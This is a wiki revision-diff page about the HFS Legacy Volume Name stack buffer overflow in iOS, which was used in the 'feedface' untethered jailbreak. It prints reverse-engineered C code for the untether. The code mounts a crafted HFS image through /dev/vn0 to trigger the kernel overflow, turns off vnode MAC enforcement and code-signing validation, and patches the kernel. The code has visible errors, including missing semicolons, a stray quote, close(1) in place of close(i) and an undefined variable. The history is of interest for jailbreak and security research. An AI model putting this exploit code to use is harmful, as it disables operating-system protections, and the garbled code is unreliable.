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Difference between revisions of "HFS Legacy Volume Name Stack Buffer Overflow"

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The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].
  
The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].
   
  +
== Exploiting the Kernel Bug ==
  +
  +
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb
  +
to take control of PC register and do basically whatever you want, in that case, they used a function called
  +
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what
  +
the untether looked like.
  +
  +
int mnt_our_hfs()
  +
{
  +
struct hfs_mount_args i;
  +
bzero(i, sizeof(i));
  +
i.fspec = (int)"/dev/vn0";
  +
i.hfs_uid = args.hfs_gid = 99;
  +
i.hfs_mask = 0x1C5;
  +
puts("[+]Triggering the kernel exploit");
  +
mount("hfs", "mnt/", MNT_RDONLY, i);
  +
return puts("[+] Payload was successful");
  +
}
  +
  +
int prep_vn()
  +
{
  +
vn_ioctl vn;
  +
int i = open("/dev/vn0", O_RDONLY, 0);
  +
if(i < 0){
  +
puts("[-]Can't open /dev/vn0");
  +
exit(1);
  +
}
  +
ioctl(i, VNIOCDETACH, &vn);
  +
vn.vn_file = (int)"/usr/lib/hfs_mdb";
  +
vn.vn_control = vncontrol_readwrite_io_e;
  +
if(ioctl(i, VNIOCATTACH, &vn) < 0)
  +
{
  +
puts("[-]Coudn't attach to /dev/vn0")''
  +
close(i);
  +
exit(1);
  +
}
  +
return close(1);
  +
}
  +
int main(int argc, char const *argv[])
  +
{
  +
int result;
  +
struct stat i;
  +
uint32_t zero = 0, one = 1;
  +
sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));
  +
sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))
  +
prep_vn();
  +
i.st_uid = 0;
  +
i.st_gid = 0;
  +
i.st_rdev = 0;
  +
i.st_atimespec.tv_nsec = 0;
  +
i.st_atimespec.tv_sec = 0;
  +
i.st_mtimespec.tv_nsec = 0;
  +
i.st_mtimespec.tv_sec = 0;
  +
i.st_ctimespec.tv_sec = 0;
  +
i.st_dev = (dev_t)"/dev/vn0";
  +
i.st_ino = 99;
  +
i.st_uid = 453;
  +
puts("[+]Trigger kernel exploit");
  +
mnt_our_hfs();
  +
sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
  +
patch_kernel();
  +
  +
return 0;
  +
}
 
== Credit ==
  
== Credit ==
 
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]
  
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]

Revision as of 14:12, 28 March 2015

The HFS Legacy Volume Name Stack Buffer Overflow is a kernel vulnerability used to achieve an untethered jailbreak. Its exploit implementation, dubbed "feedface,"[1] was used in conjunction with limera1n's bootrom exploit or the usb_control_msg(0xA1, 1) Exploit in greenpois0n.

Exploiting the Kernel Bug

This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb to take control of PC register and do basically whatever you want, in that case, they used a function called real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what the untether looked like. 

 int mnt_our_hfs()
 {

struct hfs_mount_args i; bzero(i, sizeof(i)); i.fspec = (int)"/dev/vn0"; i.hfs_uid = args.hfs_gid = 99; i.hfs_mask = 0x1C5; puts("[+]Triggering the kernel exploit"); mount("hfs", "mnt/", MNT_RDONLY, i); return puts("[+] Payload was successful"); 

 }

 int prep_vn()
 {

vn_ioctl vn; int i = open("/dev/vn0", O_RDONLY, 0); if(i < 0){ puts("[-]Can't open /dev/vn0"); exit(1); } ioctl(i, VNIOCDETACH, &vn); vn.vn_file = (int)"/usr/lib/hfs_mdb"; vn.vn_control = vncontrol_readwrite_io_e; if(ioctl(i, VNIOCATTACH, &vn) < 0) { puts("[-]Coudn't attach to /dev/vn0") close(i); exit(1); } 

	return close(1);
 }
 int main(int argc, char const *argv[])
 {

int result; struct stat i; uint32_t zero = 0, one = 1; sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t)); sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t)) prep_vn(); i.st_uid = 0; i.st_gid = 0; i.st_rdev = 0; i.st_atimespec.tv_nsec = 0; i.st_atimespec.tv_sec = 0; i.st_mtimespec.tv_nsec = 0; i.st_mtimespec.tv_sec = 0; i.st_ctimespec.tv_sec = 0; i.st_dev = (dev_t)"/dev/vn0"; i.st_ino = 99; i.st_uid = 453; puts("[+]Trigger kernel exploit"); mnt_our_hfs(); sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t)); patch_kernel();

return 0; 

 }

Credit

jan0, pod2g, Posixninja

Sources for information

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